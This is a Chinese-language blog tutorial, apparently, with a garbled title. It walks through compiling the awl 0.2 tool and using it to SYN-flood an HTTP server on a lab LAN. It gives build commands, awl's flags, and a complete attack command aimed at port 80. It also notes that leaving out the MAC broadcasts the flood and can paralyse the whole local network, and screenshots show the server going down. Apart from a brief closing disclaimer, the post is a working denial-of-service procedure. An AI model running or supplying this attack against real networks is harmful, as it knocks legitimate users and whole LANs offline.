mysql linux-syn25000是什么_Linux使用awl0.2进行局域网SYN进行洪水ATT

迷南。 2022-10-31 02:00 73阅读 0赞

SYN洪水ATT的过程：

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端，如果发起的客户是一个不存在的客户端，那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接，直到等待超关闭，才能施放内存。

如果恶意者通过通过ip欺骗，发送大量SYN包给受害者系统，导致服务端存在大量未决的连接并占用大量内存和tcp连接，从而导致正常客户端无法访问服务端，这就是SYN洪水ATT的过程。

基本过程：从客户端到服务器

![5ac348d7299d208c154ddf1e8b60c035.png][]

awl0.2下载地址:

开始安装awl

1.解压

root:~ \# tar xf awl-0.2.tar

root:~ \# cd awl-0.2/

root:~/awl-0.2 \# ls

acconfig.h AUTHORS config.h.in configure.in include ltmain.sh missing src

acinclude.m4 ChangeLog config.sub COPYING INSTALL Makefile.am NEWS TODO

aclocal.m4 config.guess configure depcomp install-sh Makefile.in README

![0616d4df3895b4728e1dd68723be170f.png][]

2.编译安装

root:~/awl-0.2 \# ./configure --prefix=/app/awl \#将全部文件安装至/app/awl/文件夹下

root:~/awl-0.2 \# make -j 4 \#以4个进程同时编译——把源代码编译成可执行的二进制文件

root:~/awl-0.2 \# make install \#安装

![48c30f88a57b356326c12677c2893ef5.png][]

实验环境

在centos6上有一台http服务器 ip为172.22.50.52

服务 器端为centos7 ip为172.22.50.51

![db0f5fbeebfbc58f12f958af422926ed.png][]

![b70fdc812dcbb3e62cfcae7e62f6ed0f.png][]

![e6aa8970776287b5ab500cda7e11daa0.png][]

http服务为172.22.50.51

服务器(被ATT端)172.22.50.52

双方都能ping通

开始ATT

![abe7743ae124e3dbc83f0fb53bcf49dd.png][]

通过刚才ping 52 可用 arp -n 查看ping过的主机mac地址

\# arp -n

awl参数如下:

\-i 发送包的接口,如果省略默认是eth0

\-m 指定目标mac地址 注：如果-m没有指定mac，默认目标MAC地址是“FF.FF.FF.FF.FF.FF”，

FF.FF.FF.FF.FF.FF MAC地址是什么？

这表示向同一网段内的所有主机发出ARP广播，进行SYNATT，还容易使整个局域网瘫痪。

\-d 被ATT的机器的IP

\-p 被ATT的机器的端口

在awl安装目录下使用awl(也可将awl文件夹写入PATH直接使用)

![d3ded2a0d3b023b3f1c0c72b809bbd0f.png][]

警告：在5秒内按CTLR+C停止

这里有大量的伪装ip对52进行访问

![90bda0cd756327374c8e3bb4e580391f.png][]

ATT时服务器http服务器已不能访问

![ebf3e6430f32e517dc53290952163350.png][]

停止后访问恢复正常

![937064224344dda86253c61f1fcd484c.png][]

拓展：

./awl -i ens33 -m -d 172.22.50.52 -p 80

在-m后不要跟目标mac地址，默认目标MAC地址是“FF.FF.FF.FF.FF.FF”

这表示向同一网段内的所有主机发出ARP广播，进行SYN ATT，容易使整个局域网瘫痪

慎重使用

仅供学习网络协议，了解SYN洪水，请勿搞破坏

[5ac348d7299d208c154ddf1e8b60c035.png]: /images/20221024/4685eba4183345019d2e89520696ef69.png
[0616d4df3895b4728e1dd68723be170f.png]: /images/20221024/d2b706c3799a4a8fb6fdc47b602f28d5.png
[48c30f88a57b356326c12677c2893ef5.png]: /images/20221024/c2554efb06ad41dcbd1865b204f09570.png
[db0f5fbeebfbc58f12f958af422926ed.png]: /images/20221024/1736bba4a39a46d4b26f72761bb5f7f4.png
[b70fdc812dcbb3e62cfcae7e62f6ed0f.png]: /images/20221024/779fb97766a444d19051007b5ce9cbea.png
[e6aa8970776287b5ab500cda7e11daa0.png]: /images/20221024/0a3a169b5d724303a9be38b848c16fcf.png
[abe7743ae124e3dbc83f0fb53bcf49dd.png]: /images/20221024/0867ce2fc9d74ac9b2e031c92e87bf70.png
[d3ded2a0d3b023b3f1c0c72b809bbd0f.png]: /images/20221024/059e5397ae41435e8449d31e801e6e3f.png
[90bda0cd756327374c8e3bb4e580391f.png]: /images/20221024/3d300f85669949cda2de09ffa1ebc841.png
[ebf3e6430f32e517dc53290952163350.png]: /images/20221024/ff0f45401c534c4d929c78610b7cdace.png
[937064224344dda86253c61f1fcd484c.png]: /images/20221024/13cdc852a0e94f29883585114423cdcf.png